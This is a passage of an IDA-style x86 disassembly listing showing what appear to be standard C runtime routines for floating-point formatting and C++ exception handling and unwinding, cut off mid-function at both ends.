loc_41CB35 loc_41CB33: ; CODE XREF: sub_41CA71+BAj mov ebx, esi loc_41CB35: ; CODE XREF: sub_41CA71+C0j push ebx push edi call sub_41CC85 push ebx push 30h push edi call sub_417330 add esp, 14h loc_41CB48: ; CODE XREF: sub_41CA71+94j ; sub_41CA71+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41CA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_42074B mov dword_4CDA20, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4CDA28, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4206D4 mov eax, dword_4CDA20 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4CDA28, ecx setl cl mov byte_4CDA2C, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4CDA28, eax jl short loc_41CBD5 cmp eax, ebx jge short loc_41CBD5 test cl, cl jz short loc_41CBC6 loc_41CBBC: ; CODE XREF: sub_41CB4F+72j mov al, [esi] inc esi test al, al jnz short loc_41CBBC and [esi-2], al loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj push ebx push [ebp+arg_4] push edi call sub_41CC11 add esp, 0Ch jmp short loc_41CBE5 ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CB4F+63j ; sub_41CB4F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41CBEA add esp, 10h loc_41CBE5: ; CODE XREF: sub_41CB4F+84j pop edi pop esi pop ebx pop ebp retn sub_41CB4F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4CDA24, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C96D and byte_4CDA24, 0 add esp, 10h retn sub_41CBEA endp ; =============== S U B R O U T I N E ======================================= sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4CDA24, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41CA71 and byte_4CDA24, 0 add esp, 0Ch retn sub_41CC11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp ; DATA XREF: sub_417D8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41CC6F cmp [ebp+arg_8], 45h jz short loc_41CC6F cmp [ebp+arg_8], 66h jnz short loc_41CC5C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA71 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41CC5C: ; CODE XREF: sub_41CC34+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CB4F jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC6F: ; CODE XREF: sub_41CC34+7j ; sub_41CC34+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C96D loc_41CC80: ; CODE XREF: sub_41CC34+39j add esp, 10h pop ebp retn sub_41CC34 endp ; =============== S U B R O U T I N E ======================================= sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp ; sub_41CA71+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41CCA8 push esi mov esi, [esp+8+arg_0] push esi call sub_417AB0 inc eax push eax push esi add esi, edi push esi call sub_4182C0 add esp, 10h pop esi loc_41CCA8: ; CODE XREF: sub_41CC85+7j pop edi retn sub_41CC85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp ; sub_417FD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41CCC0 call sub_41D552 loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CCE8 cmp dword ptr [esi+4], 0 jz short loc_41CD3E cmp [ebp+arg_14], 0 jnz short loc_41CD3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CFF1 add esp, 10h jmp short loc_41CD3E ; --------------------------------------------------------------------------- loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CD3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CD22 cmp [eax+14h], edi jbe short loc_41CD22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CD22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CD41 ; --------------------------------------------------------------------------- loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj ; sub_41CCAA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CD45 add esp, 20h loc_41CD3E: ; CODE XREF: sub_41CCAA+23j ; sub_41CCAA+29j ... push 1 pop eax loc_41CD41: ; CODE XREF: sub_41CCAA+76j pop edi pop esi pop ebp retn sub_41CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CD65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CD6A loc_41CD65: ; CODE XREF: sub_41CD45+16j call sub_41D552 loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE mov esi, dword_4CDA30 test esi, esi jz loc_41CEBC mov eax, dword_4CDA34 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4208D2 pop ecx test eax, eax pop ecx jnz short loc_41CDC0 call sub_41D552 loc_41CDC0: ; CODE XREF: sub_41CD45+74j cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE call sub_41D552 loc_41CDDE: ; CODE XREF: sub_41CD45+41j ; sub_41CD45+46j ... cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz loc_41CEC1 cmp [esi+14h], edi jnz loc_41CEC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov ebx, eax loc_41CE15: ; CODE XREF: sub_41CD45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CEAC cmp [ebx], edi jg short loc_41CEA1 cmp edi, [ebx+4] jg short loc_41CEA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CE9E loc_41CE3A: ; CODE XREF: sub_41CD45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CE6B loc_41CE4C: ; CODE XREF: sub_41CD45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CF94 add esp, 0Ch test eax, eax jnz short loc_41CE7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CE4C loc_41CE6B: ; CODE XREF: sub_41CD45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CE3A jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CD45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CE9E: ; CODE XREF: sub_41CD45+F3j ; sub_41CD45+133j mov edi, [ebp+var_10] loc_41CEA1: ; CODE XREF: sub_41CD45+DEj ; sub_41CD45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CE15 ; --------------------------------------------------------------------------- loc_41CEAC: ; CODE XREF: sub_41CD45+D6j cmp [ebp+arg_14], 0 jz short loc_41CEBC push 1 push esi call sub_41D41A pop ecx pop ecx loc_41CEBC: ; CODE XREF: sub_41CD45+56j ; sub_41CD45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CEC1: ; CODE XREF: sub_41CD45+37j ; sub_41CD45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CEE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CEEC add esp, 20h jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEE7: ; CODE XREF: sub_41CD45+180j jmp sub_41D4FC sub_41CD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4CDA38, 0 push esi push edi jz short loc_41CF1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417FFA add esp, 1Ch test eax, eax jnz short loc_41CF90 loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov esi, eax loc_41CF39: ; CODE XREF: sub_41CEEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CF90 cmp edi, [esi] jl short loc_41CF88 cmp edi, [esi+4] jg short loc_41CF88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CF62 cmp byte ptr [ecx+8], 0 jnz short loc_41CF88 loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CF88: ; CODE XREF: sub_41CEEC+57j ; sub_41CEEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CF39 ; --------------------------------------------------------------------------- loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj ; sub_41CEEC+53j pop edi pop esi leave retn sub_41CEEC endp ; =============== S U B R O U T I N E ======================================= sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CFEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CFEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CFC5 add ecx, 8 push ecx push edx call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41CFE7 loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj test byte ptr [esi], 2 jz short loc_41CFCF test byte ptr [edi], 8 jz short loc_41CFE7 loc_41CFCF: ; CODE XREF: sub_41CF94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CFDE test byte ptr [edi], 1 jz short loc_41CFE7 loc_41CFDE: ; CODE XREF: sub_41CF94+43j test al, 2 jz short loc_41CFEB test byte ptr [edi], 2 jnz short loc_41CFEB loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj ; sub_41CF94+39j ... xor eax, eax jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CF94+Bj ; sub_41CF94+14j ... push 1 pop eax loc_41CFEE: ; CODE XREF: sub_41CF94+55j pop edi pop esi retn sub_41CF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p ; ___:0041D0E7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424860 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41D023: ; CODE XREF: sub_41CFF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41D07D cmp esi, 0FFFFFFFFh jle short loc_41D032 cmp esi, [edi+4] jl short loc_41D037 loc_41D032: ; CODE XREF: sub_41CFF1+3Aj call sub_41D552 loc_41D037: ; CODE XREF: sub_41CFF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41D052 push 103h push ebx push eax call sub_41D4B0 loc_41D052: ; CODE XREF: sub_41CFF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D072 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41D08F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41D072: ; CODE XREF: sub_41CFF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41D023 ; --------------------------------------------------------------------------- loc_41D07D: ; CODE XREF: sub_41CFF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CFF1 endp ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41D0A0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0A0: ; CODE XREF: sub_41D08F+Cj jmp sub_41D4FC sub_41D08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p ; sub_41CEEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41D0C7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41D256 add esp, 10h loc_41D0C7: ; CODE XREF: sub_41D0A5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41D0D3 push edi jmp short loc_41D0D6 ; --------------------------------------------------------------------------- loc_41D0D3: ; CODE XREF: sub_41D0A5+29j push [ebp+arg_24] loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj call sub_417EFC sub_41D0A5 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_41CFF1 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_41D120 add esp, 2Ch test eax, eax jz short loc_41D11B push edi push eax call sub_417EBA loc_41D11B: ; CODE XREF: ___:0041D112j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D120 proc near ; CODE XREF: ___:0041D108p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424870 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4CDA30 mov [ebp+var_1C], ecx mov ecx, dword_4CDA34 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4CDA30, edi mov ecx, [ebp+arg_8] mov dword_4CDA34, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417F81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41D1E6 mov eax, [ebp+var_2C] loc_41D1AD: ; CODE XREF: sub_41D1C6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D120 endp ; =============== S U B R O U T I N E ======================================= sub_41D1BC proc near ; DATA XREF: ___:00424880o push dword ptr [ebp-14h] call sub_41D22C pop ecx retn sub_41D1BC endp ; =============== S U B R O U T I N E ======================================= sub_41D1C6 proc near ; DATA XREF: ___:00424884o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4181E2 pop ecx pop ecx xor eax, eax jmp short loc_41D1AD sub_41D1C6 endp ; --------------------------------------------------------------------------- loc_41D1DE: ; DATA XREF: ___:00424878o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4CDA30, eax mov eax, [ebp-20h] mov dword_4CDA34, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41D22B cmp dword ptr [edi+10h], 3 jnz short locret_41D22B cmp dword ptr [edi+14h], 19930520h jnz short locret_41D22B cmp [ebp-24h], ebx jnz short locret_41D22B cmp [ebp-2Ch], ebx jz short locret_41D22B call sub_41824A push eax push edi call sub_41D41A pop ecx pop ecx locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj ; sub_41D1E6+22j ... retn sub_41D1E6 endp ; =============== S U B R O U T I N E ======================================= sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41D253 cmp dword ptr [eax+10h], 3 jnz short loc_41D253 cmp dword ptr [eax+14h], 19930520h jnz short loc_41D253 cmp dword ptr [eax+1Ch], 0 jnz short loc_41D253 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D253: ; CODE XREF: sub_41D22C+Cj ; sub_41D22C+12j ... xor eax, eax retn sub_41D22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424888 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D3FF cmp byte ptr [eax+8], 0 jz loc_41D3FF mov eax, [ecx+8] test eax, eax jz loc_41D3FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41D2F3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41D2E4: ; CODE XREF: sub_41D256+F5j push eax call sub_41D481 pop ecx pop ecx mov [edi], eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2F3: ; CODE XREF: sub_41D256+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D34D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4182C0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D3FB mov eax, [edi] test eax, eax jz loc_41D3FB add esi, 8 push esi jmp short loc_41D2E4 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D256+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D395 call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push edi call sub_4182C0 add esp, 0Ch jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D395: ; CODE XREF: sub_41D256+103j call sub_4208D2 pop ecx pop ecx test eax, eax jz short loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+18h] call sub_42090A pop ecx test eax, eax jz short loc_41D3F6 test byte ptr [esi], 4 jz short loc_41D3DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EF5 jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3DC: ; CODE XREF: sub_41D256+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EEE jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D256+6Aj ; sub_41D256+7Cj ... call sub_41D552 loc_41D3FB: ; CODE XREF: sub_41D256+98j ; sub_41D256+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D3FF: ; CODE XREF: sub_41D256+2Ej ; sub_41D256+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D256 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41A proc near ; CODE XREF: sub_41CD45+170p ; sub_41D1E6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424898 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D461 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D461 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417EEE or [ebp+var_4], 0FFFFFFFFh loc_41D461: ; CODE XREF: sub_41D41A+2Aj ; sub_41D41A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D41A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp ; sub_41D256+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D4A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D4A2: ; CODE XREF: sub_41D481+12j pop esi retn sub_41D481 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p ; sub_41CFF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41826D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D4EF mov ecx, 2 loc_41D4EF: ; CODE XREF: sub_41D4B0+38j push ecx call sub_41826D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j ; sub_41D08F:loc_41D0A0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248A8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4CDA3C test eax, eax jz short loc_41D544 mov [ebp+var_4], 1 call eax jmp short loc_41D540 ; --------------------------------------------------------------------------- loc_41D539: ; DATA XREF: ___:004248B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D53D: ; DATA XREF: ___:004248BCo mov esp, [ebp+var_18] loc_41D540: ; CODE XREF: sub_41D4FC+3Bj and [ebp+var_4], 0 loc_41D544: ; CODE XREF: sub_41D4FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D54D: ; DATA XREF: ___:004248B0o jmp loc_420922 sub_41D4FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D552 proc near ; CODE XREF: sub_418123+23p ; sub_418123:loc_41818Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248C0 push offset sub_41F774 mov eax, large 